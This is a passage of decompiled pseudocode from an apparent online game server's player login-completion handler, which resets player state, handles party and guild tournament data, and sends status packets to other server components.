v37; // si@43 unsigned __int16 v38; // ax@44 void *v39; // eax@44 int v40; // edx@44 unsigned __int16 v41; // ax@44 char *v42; // esi@45 AbnormalStateInfo::ABSTATEINDEX v43; // ecx@47 int v44; // eax@47 int v45; // eax@48 int v46; // edi@49 int v47; // ecx@52 int v48; // eax@52 int v49; // ecx@52 unsigned int v50; // eax@52 BattleStat *v51; // eax@54 int v52; // edx@56 unsigned int v53; // edx@56 int v54; // eax@56 __int16 v55; // ax@56 int v56; // edx@56 char *v57; // ecx@56 int v58; // eax@58 int v59; // edx@58 int v60; // edx@59 int v61; // edx@59 int v62; // eax@59 int v63; // eax@61 int v64; // edx@62 int v65; // ecx@63 AbnormalStateContainer::AbstateElementInObject *v66; // eax@65 void *v67; // ecx@65 void *v68; // ecx@67 int v69; // eax@67 void *v70; // ecx@68 int v71; // eax@68 bool v72; // zf@68 int v73; // eax@72 int v74; // ecx@72 int v75; // edx@73 int v76; // edx@75 int v77; // eax@76 char *v78; // esi@77 __int16 v79; // ax@77 char v80; // al@77 ZoneBaseSession *v81; // eax@78 char *v82; // esi@79 int v83; // eax@79 ZoneBaseSession *v84; // eax@81 int v85; // eax@82 unsigned int v86; // esi@82 KingdomQuest::KQElement *v87; // eax@83 int v88; // eax@86 int v89; // eax@87 char *v90; // eax@88 MapClusterManager::MapCluster *v91; // esi@88 unsigned __int16 v92; // ax@89 char *v93; // ecx@90 char v94; // al@90 int v95; // eax@91 int v96; // edx@91 char *v97; // esi@93 char v98; // al@93 char v99; // al@93 int v100; // eax@94 int v101; // edx@94 int v102; // eax@95 char *v103; // eax@95 char v104; // dl@95 int v105; // eax@97 int v106; // edx@97 int v107; // ebp@98 signed int v108; // [sp+44h] [bp-48h]@17 int v109; // [sp+48h] [bp-44h]@17 AbnormalStateInfo::ABSTATEINDEX v110; // [sp+4Ch] [bp-40h]@1 __int16 listhandle; // [sp+60h] [bp-2Ch]@83 char *ps; // [sp+64h] [bp-28h]@44 int v113; // [sp+68h] [bp-24h]@45 FunctionEntarance _; // [sp+6Ch] [bp-20h]@1 int (__stdcall **LimitTime)(int, __int16); // [sp+70h] [bp-1Ch]@31 int v116; // [sp+74h] [bp-18h]@39 int v117; // [sp+88h] [bp-4h]@1 v4 = (int)sp; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v110 = 0; v117 = 0; *(_DWORD *)(v4 + 92692) = 0; (*(void (__thiscall **)(int, AbnormalStateInfo::ABSTATEINDEX))(v5 + 2644))(v4, v110); v72 = (_S41_2 & 1) == 0; *(_BYTE *)(v4 + 23325) &= 0xDFu; *(_BYTE *)(v4 + 7432) = 0; *(_DWORD *)(v4 + 23328) = 0; *(_DWORD *)(v4 + 23332) = 0; if ( v72 ) { _S41_2 |= 1u; cmc_10.cmc_AllowMode = 1; atexit(_E42_2); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_10.cmc_AllowMode) ) goto LABEL_100; *(_BYTE *)(*(_DWORD *)(v4 + 32047) + 143) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); **(_BYTE **)(v4 + 82) = 90; *(_WORD *)(v4 + 7428) = 2; ShineObjectClass::ShinePlayer::sp_RegistNumberVarification((void *)v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1220))(v4) > 0x96u ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1677, 0, 0); LABEL_100: v117 = -1; v110 = (AbnormalStateInfo::ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_101; } ShineObjectClass::ShineObject::so_LostSP( (AbnormalStateContainer::AbnormalStateElement *)v4, (AbnormalStateDictionary::AbState::AbStateStr *)2); v6 = *(unsigned __int8 **)(v4 + 3716); v7 = *(_WORD *)(v4 + 4); *(_WORD *)(v4 + 102) = 0; v8 = *v6; if ( !v8 ) { if ( *(_DWORD *)(v4 + 98) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "sp_NC_MAP_LOGINCOMPLETE_CMD Field", v7); v117 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v9 = *(_BYTE *)(v4 + 89008) & 0xFB; v110 = 0; *(_BYTE *)(v4 + 89008) = v9; std::vector>::resize( (std::vector > *)(v4 + 92552), v110); *(_WORD *)(*(_DWORD *)(v4 + 32047) + 78) = -1; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2044))(v4) == 1 ) { *(_BYTE *)(*(_DWORD *)(v4 + 32047) + 141) = 1; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 106) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31884)); goto LABEL_18; } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2048))(v4); } else { *(_BYTE *)(*(_DWORD *)(v4 + 32047) + 141) = 0; if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 106) ) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(v4 + 31884)); goto LABEL_18; } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1980))(v4); } v110 = v10; v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1036))(v4); v12 = *(_DWORD *)v4; v109 = *(_WORD *)(v11 + 550); v13 = (*(int (__thiscall **)(int))(v12 + 1036))(v4); v14 = *(_DWORD *)v4; v108 = *(_BYTE *)(v13 + 549); v15 = (*(int (__thiscall **)(int))(v14 + 1036))(v4); BriefInformationCharacter::bic_ShowMyIdentity( (BriefInformationCharacter *)(v4 + 31884), (ZoneCharData *)(v4 + 32054), *(_BYTE *)(v15 + 548), v108, v109, v110); LABEL_18: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2020))(v4, 65535); **(_BYTE **)(v4 + 3716) = 1; v16 = *(_DWORD *)(v4 + 98); *(_BYTE *)(v4 + 89087) = 0; *(_DWORD *)(v4 + 31876) = v4 + 23668; *(_DWORD *)(v4 + 31872) = v4 + 23668; v17 = *(_DWORD *)(v16 + 12); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), STA_GMHIDEMODE) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1216))(v4) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 3; } else { (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1544))(v4, 288); v18 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1352))(v4); NameString::operator__(&namestring, v18); } } else { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = *(_BYTE *)(v17 + 171); } v19 = *(_DWORD *)(v4 + 98); if ( v19 ) { v110 = 289; if ( FieldMap::fm_IsGuildTournametnMap(v19) ) { if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), v110) ) { **(_DWORD **)(v4 + 94) = 0; *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4) = 2; if ( FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)) ) { v20 = FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)); GuildTournamentSystem::SendMapInPlayerInfoToObserber((GuildTournamentSystem *)v20, (#331 *)v4); } } } else { (*(void (__thiscall **)(int, AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v4 + 1544))(v4, v110); } } *(_BYTE *)(v4 + 23324) &= 0xF7u; v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); if ( v21 ) { v22 = (List *)(v21 + 3480); if ( v22 ) { ListTraveler::ListTraveler( (ListTraveler *)&LimitTime, v22, 0); if ( ListTraveler::lt_Next((ListTraveler *)&LimitTime) ) { while ( ListTraveler::operator_((ListTraveler *)&LimitTime) ) { v23 = **((_DWORD **)&unk_604F0C + 3 * ListTraveler::operator_((ListTraveler *)&LimitTime)->aeo_Index); if ( v23 && !*(_BYTE *)(v23 + 252) ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1544))(v4, *(_DWORD *)(v23 + 34)); if ( !ListTraveler::lt_Next((ListTraveler *)&LimitTime) ) goto LABEL_39; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD Abstate List Null ListTraveler", 0); } } } LABEL_39: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1544))(v4, 290); (*(void (__thiscall **)(int, int, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, 291, 1, unk_608494, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 63), 7); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, 291); v110 = 0; v109 = 0; *(_WORD *)(v4 + 68228) = -1; std::vector>::resize( &mobinroam, v109, (#331 *)v110); briefchar.bixc_Pointer->charnum = 0; BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); briefdoor.bixd_Pointer->doornum = 0; briefeffect.bixe_Pointer->effectnum = 0; briefitem.bixi_Pointer->itemnum = 0; briefmagfld.bixmfm_Pointer->magicfields = 0; briefminihouse.bixmh_Pointer->minihouses = 0; BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_char); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_mob); sightsquar = CalculateBroadcastDistance::cbd_DistanceSquar(&broadcastdistance, (#331 *)v4); ShineObjectClass::ShineObject::so_AllInMap( (void *)v4, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(&briefmob, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(&briefdoor, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(&briefeffect, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(&briefitem, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(&briefmagfld, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_char, (#331 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_mob, (#331 *)v4); MobRoaming::MobsInRoaming::mir_MoveInfoSendTo((MobRoaming::MobsInRoaming *)&mobinroam, (#440 *)v4); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin((void *)(v4 + 204), (#440 *)v4); *(_BYTE *)(v4 + 65808) = 0; LimitTime = &ListEraser::_vftable_; v116 = v4 + 57780; LOBYTE(v117) = 1; List::l_4AllInList((List *)(v4 + 57780), (ListIteratorDefault *)&LimitTime); LOBYTE(v117) = 0; *(_DWORD *)(v4 + 68332) = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)(v4 + 68344)); v24 = *(_DWORD *)v4; *(_DWORD *)(v4 + 68328) = 0; *(_WORD *)(v4 + 69436) = 0; *(_WORD *)(v4 + 68324) = -1; *(_DWORD *)(v4 + 4000) = 0; (*(void (__thiscall **)(int))(v24 + 1512))(v4); *(_DWORD *)(16 * *(_DWORD *)(v4 + 3992) + v4 + 3736) = 0; v25 = *(_BYTE *)(v4 + 23324); v26 = -1; *(_DWORD *)(v4 + 65828) = -1; *(_DWORD *)(v4 + 65824) = -1; *(_DWORD *)(v4 + 65820) = -1; *(_DWORD *)(v4 + 65816) = -1; v27 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 3720) = clockwatch.cw_CurrTick; v28 = *(_BYTE *)(v4 + 23325); *(_DWORD *)(v4 + 3724) = v27; *(_BYTE *)(v4 + 23324) = v25 & 0x4F; v29 = *(_DWORD *)v4; *(_BYTE *)(v4 + 23325) = v28 & 0xFC; *(_BYTE *)(v4 + 23654) = -1; *(_BYTE *)(v4 + 23653) = 99; (*(void (__thiscall **)(int))(v29 + 2256))(v4); v30 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6156; *((_WORD *)v30 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_WORD *)v30 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v30 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v31 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v30 + 10) = *(_DWORD *)v31; *(_DWORD *)(v30 + 14) = *(_DWORD *)(v31 + 4); *(_DWORD *)(v30 + 18) = *(_DWORD *)(v31 + 8); v30[22] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); v32 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v30 + 23) = *(_DWORD *)v32; *(_DWORD *)(v30 + 27) = *(_DWORD *)(v32 + 4); v30[31] = 99; *((_DWORD *)v30 + 8) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1060))(v4); *((_DWORD *)v30 + 9) = v33; *((_DWORD *)v30 + 10) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1056))(v4); *((_DWORD *)v30 + 11) = v34; v30[48] = 0; if ( ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(v4) == 1 ) v30[48] = 1; v110 = 49; v109 = (int)"ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long"; v35 = ProtocolPacket::pp_SetPacketLen(&gpp, 49); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v35, (const char *)v109, v110) ) { v36 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v36); } v37 = -1; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1336))(v4) != -1 ) { v38 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1336))(v4); v39 = CParty::operator__(&partycontainer, v38); v40 = *(_DWORD *)v4; ps = (char *)v39; v41 = (*(int (__thiscall **)(int))(v40 + 1336))(v4); v108 = ps != 0; if ( !AssertClass::operator__( &shineassert, v108, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v41) ) { v42 = ps + 4; v113 = 5; do { if ( *(_DWORD *)v42 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4) ) { v43 = (AbnormalStateInfo::ABSTATEINDEX)ps; *((_DWORD *)v42 + 7) = v4; v44 = *(_DWORD *)v4; v110 = v43; (*(void (__thiscall **)(int, AbnormalStateInfo::ABSTATEINDEX))(v44 + 1820))(v4, v43); v42[26] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_DWORD *)v42 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v42 + 2) = *(_WORD *)(v4 + 4); *((_WORD *)v42 + 3) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); Name4::operator_((int)(v42 + 8), v4 + 32062); v42[24] = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1220))(v4); v42[25] = 0; } v45 = *((_DWORD *)v42 + 7); if ( v45 ) { v46 = *(_DWORD *)v45; LimitTime = (int (__stdcall **)(int, __int16))*((_DWORD *)v42 + 7); v110 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); (*(void (__thiscall **)(int (__stdcall **)(int, __int16), AbnormalStateInfo::ABSTATEINDEX))(v46 + 1824))( LimitTime, v110); v26 = -1; } v42 += 32; --v113; } while ( v113 ); v37 = -1; } } v47 = *(_DWORD *)(v4 + 32047); *(_BYTE *)(v4 + 7164) = 0; *(_DWORD *)(v4 + 7168) = 0; v47 += 80; *(_WORD *)v47 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v47 + 2) = byte_1246F162; (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1512))(v4); MoveManager::mm_Halt((MoveManager *)(v4 + 140)); v48 = *(_DWORD *)v4; *(_WORD *)(v4 + 102) = 0; *(_DWORD *)(v4 + 7172) = 0; *(_DWORD *)(v4 + 88984) = 7; *(_DWORD *)(v4 + 88980) = 0; *(_WORD *)(v4 + 130) = v37; *(_WORD *)(v4 + 132) = v37; (*(void (__thiscall **)(int))(v48 + 1840))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1844))(v4); v49 = *(_DWORD *)(v4 + 4004); *(_DWORD *)(v4 + 89152) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *(_DWORD *)(v4 + 7420) = v26; *(_DWORD *)(v4 + 7152) = (*(int (**)(void))(*(_DWORD *)v49 + 44))(); *(_BYTE *)(v4 + 7157) = 0; *(_BYTE *)(v4 + 7156) = 0; *(_DWORD *)(v4 + 89180) = clockwatch.cw_CurrTick; *(_WORD *)(v4 + 91032) = v37; ShineObjectClass::ShinePlayer::sp_StatRemainSend((void *)v4); v50 = clockwatch.cw_CurrTick + 6000; *(_DWORD *)(v4 + 91040) = 6000; *(_DWORD *)(v4 + 91036) = v50; if ( *(_DWORD *)(*(_DWORD *)(v4 + 98) + 60) == v26 ) { if ( *(_BYTE *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1044))(v4) ) { v51 = (BattleStat *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1044))(v4); BattleStat::bs_Clear(v51); } *(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1044))(v4) = 1; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4); v110 = 9; *(_DWORD *)(v4 + 89188) = &ShineObjectClass::ShinePlayer::BoothSell::board; ShineObjectClass::ShinePlayer::sp_RemoveKQItem(v4, v110); ShineObjectClass::ShinePlayer::sp_RemoveKQItem(v4, 8); *(_DWORD *)(v4 + 32160) = ShineObjectClass::ShinePlayer::sp_NextSaveExperience((void *)v4); *(_BYTE *)(v4 + 23324) &= 0xFCu; *(_DWORD *)(v4 + 32164) = v52; v53 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66036) = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66040) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_DWORD *)(v4 + 66032) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v54 = *(_DWORD *)v4; *(_DWORD *)(v4 + 66028) = v53; v55 = (*(int (__thiscall **)(int))(v54 + 1280))(v4); v56 = *(_DWORD *)v4; *(_WORD *)(v4 + 89922) = v55; *(_WORD *)(v4 + 89924) = (*(int (__thiscall **)(int))(v56 + 1284))(v4); v57 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *(_DWORD *)(v4 + 89920); *((_WORD *)v57 + 2) = *(_WORD *)(v4 + 89924); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v58 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v59 = *(_DWORD *)v58; v110 = (AbnormalStateInfo::ABSTATEINDEX)&gpp; v109 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v59 + 12))(v58, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 6); } *(_BYTE *)(v4 + 7416) &= 0xFDu; v110 = v4; v109 = v4 + 91064; *(_BYTE *)(v4 + 91724) = 0; *(_DWORD *)(v4 + 92116) = -1; ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter( (ChargedItemEffectList::ChargedEffectListRouter *)&LimitTime, (ChargedItemEffectList::ChargedItem *)v109, (#440 *)v110); memcpy((void *)(v4 + 91688), &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x24u); LOBYTE(v117) = 2; List::l_4AllInList((List *)(v4 + 91064), (ListIteratorDefault *)&LimitTime); v60 = *(_DWORD *)v4; *(_BYTE *)(v4 + 3708) = 1; (*(void (__thiscall **)(int))(v60 + 860))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 872))(v4); *(_BYTE *)(v4 + 89148) = 1; LOBYTE(v117) = 0; ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)&LimitTime); *(_DWORD *)(v4 + 89088) = 0; ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(v4); v61 = *(_DWORD *)(v4 + 52860); v110 = 0; v62 = (*(int (__thiscall **)(int, _DWORD))v61)(v4 + 52860, 0); if ( *(_WORD *)(v62 + 8) != -1 ) ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init( (ShineObjectClass::ShinePlayer::MiniHouseStr *)(v4 + 89040), (#440 *)v4, (ItemInventoryCell *)v62); ShineObjectClass::ShinePlayer::sp_LoginInit((void *)v4); v63 = *(_DWORD *)v4; *(_WORD *)(v4 + 32052) = 0; if ( !(*(int (__thiscall **)(int))(v63 + 1236))(v4) ) { v64 = *(_DWORD *)v4; v110 = 1; (*(void (__thiscall **)(int, signed int))(v64 + 1232))(v4, 1); } ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ((void *)v4); ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID((void *)v4); v65 = *(_DWORD *)(v4 + 98); if ( !v65 || !FieldMap::fm_IsGuildTournametnMap(v65) ) goto LABEL_72; v66 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(v4 + 204), STA_OBSERVERHIDEMODE); v67 = *(void **)(v4 + 98); if ( v66 ) { v72 = FieldMap::fm_GetGuildTournamentSystem(v67) == 0; } else { if ( !FieldMap::fm_GetGuildTournamentSystem(v67) ) { LABEL_71: ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); goto LABEL_72; } v68 = *(void **)(v4 + 98); v110 = v4; v69 = FieldMap::fm_GetGuildTournamentSystem(v68); if ( GuildTournamentSystem::PlayerRegister((GuildTournamentSystem *)v69, (#331 *)v110) ) { LABEL_72: v73 = *(_DWORD *)v4; v110 = 0; (*(void (__thiscall **)(int, _DWORD))(v73 + 2776))(v4, 0); *(_BYTE *)(v4 + 23324) &= 0xBFu; v74 = *(_DWORD *)(v4 + 98); *(_WORD *)(v4 + 102) = 0; if ( *(_BYTE *)(v74 + 84) ) { v75 = *(_DWORD *)v4; v110 = 18; v109 = 6; (*(void (__thiscall **)(int, signed int, signed int))(v75 + 772))(v4, 6, 18); } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 105) ) { v76 = *(_DWORD *)v4; v110 = 24; v109 = 6; (*(void (__thiscall **)(int, signed int, signed int))(v76 + 772))(v4, 6, 24); } v77 = *(_DWORD *)v4; *(_WORD *)(v4 + 92222) = -1; if ( (unsigned __int16)(*(int (__thiscall **)(int))(v77 + 1336))(v4) != -1 ) { v78 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14414; v79 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1336))(v4); v110 = 4; v109 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v108 = 4; *((_WORD *)v78 + 1) = v79; v80 = ProtocolPacket::pp_SetPacketLen(&gpp, v108); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v80, (const char *)v109, v110) ) { v81 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v81); } } ShineObjectClass::ShinePlayer::sp_ConnectFromWhere((void *)v4); *(_DWORD *)(v4 + 92224) = 0; ItemBag::ib_clear((ItemBag *)(v4 + 86160)); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1016))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1028))(v4); PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset((PROTO_NC_CHAR_WEDDINGDATA_ACK *)(v4 + 23336)); v82 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4224; *((_WORD *)v82 + 1) = *(_WORD *)(v4 + 4); v83 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v110 = 8; *((_DWORD *)v82 + 1) = v83; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v110) ) { v84 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v84); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 8); } *(_DWORD *)(v4 + 92240) = 0; ShineObjectClass::ShinePlayer::sp_GhostBan((void *)v4); ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin((void *)v4); *(_BYTE *)(v4 + 92244) = 0; *(_DWORD *)(v4 + 23320) = 0; ItemLotInspector::ili_Clear((ItemLotInspector *)(v4 + 7436)); ItemLotInspector::ili_Reset((ItemLotInspector *)(v4 + 7436)); v85 = *(_DWORD *)(v4 + 98); *(_BYTE *)(v4 + 92270) = 0; *(_WORD *)(v4 + 92246) = -1; v86 = *(_DWORD *)(v85 + 60); if ( v86 != -1 ) { v87 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle( &kqcontainer, v86, (unsigned __int16 *)&listhandle); if ( v87 ) KQContribute::KQContributeList::kqcl_SendMobKill( (KQContribute::KQContributeList *)&g_KQContributeList, v86, (#331 *)v4, v87->kqe_kqinfo.DemandMobKill, 0); } if ( ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(v4) ) { LOBYTE(v88) = ShineObjectClass::ShinePlayer::sp_GetAutoPick(v4); ShineObjectClass::ShinePlayer::sp_SetAutoPick(v4, v88); } v89 = *(_DWORD *)(v4 + 98); if ( v89 ) { v110 = *(_DWORD *)(v89 + 12); v90 = NameString::operator__(&namestring, (Name3 *)v110); v91 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v90); if ( v91 ) { v92 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1336))(v4); if ( MapClusterManager::MapCluster::mc_GetLimitTime(v91, (unsigned int *)&LimitTime, v92) ) { v93 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v93[2] = 1; v110 = 5; v109 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; *(_WORD *)(v93 + 3) = (unsigned __int16)LimitTime / 10; v94 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v94, (const char *)v109, v110) ) { v95 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v96 = *(_DWORD *)v95; v110 = (AbnormalStateInfo::ABSTATEINDEX)&gpp; v109 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v96 + 12))(v95, v4, &gpp); } } } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1216))(v4) ) { v97 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4294; v98 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1216))(v4); v110 = 3; v109 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v108 = 3; v97[2] = v98; v99 = ProtocolPacket::pp_SetPacketLen(&gpp, v108); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v99, (const char *)v109, v110) ) { v100 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v101 = *(_DWORD *)v100; v110 = (AbnormalStateInfo::ABSTATEINDEX)&gpp; v109 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v101 + 12))(v100, v4, &gpp); } } ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete((void *)v4); ShineObjectClass::ShinePlayer::sp_RemoveField((void *)v4); v102 = *(_DWORD *)v4; v110 = 600; v109 = clockwatch.cw_CurrTick; (*(void (__thiscall **)(int, unsigned int, signed int))(v102 + 2608))(v4, clockwatch.cw_CurrTick, 600); v103 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4308; v104 = *(_BYTE *)(v4 + 92688); v110 = 3; v103[2] = v104; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v110) ) { v105 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v106 = *(_DWORD *)v105; v110 = (AbnormalStateInfo::ABSTATEINDEX)&gpp; v109 = v4; (*(void 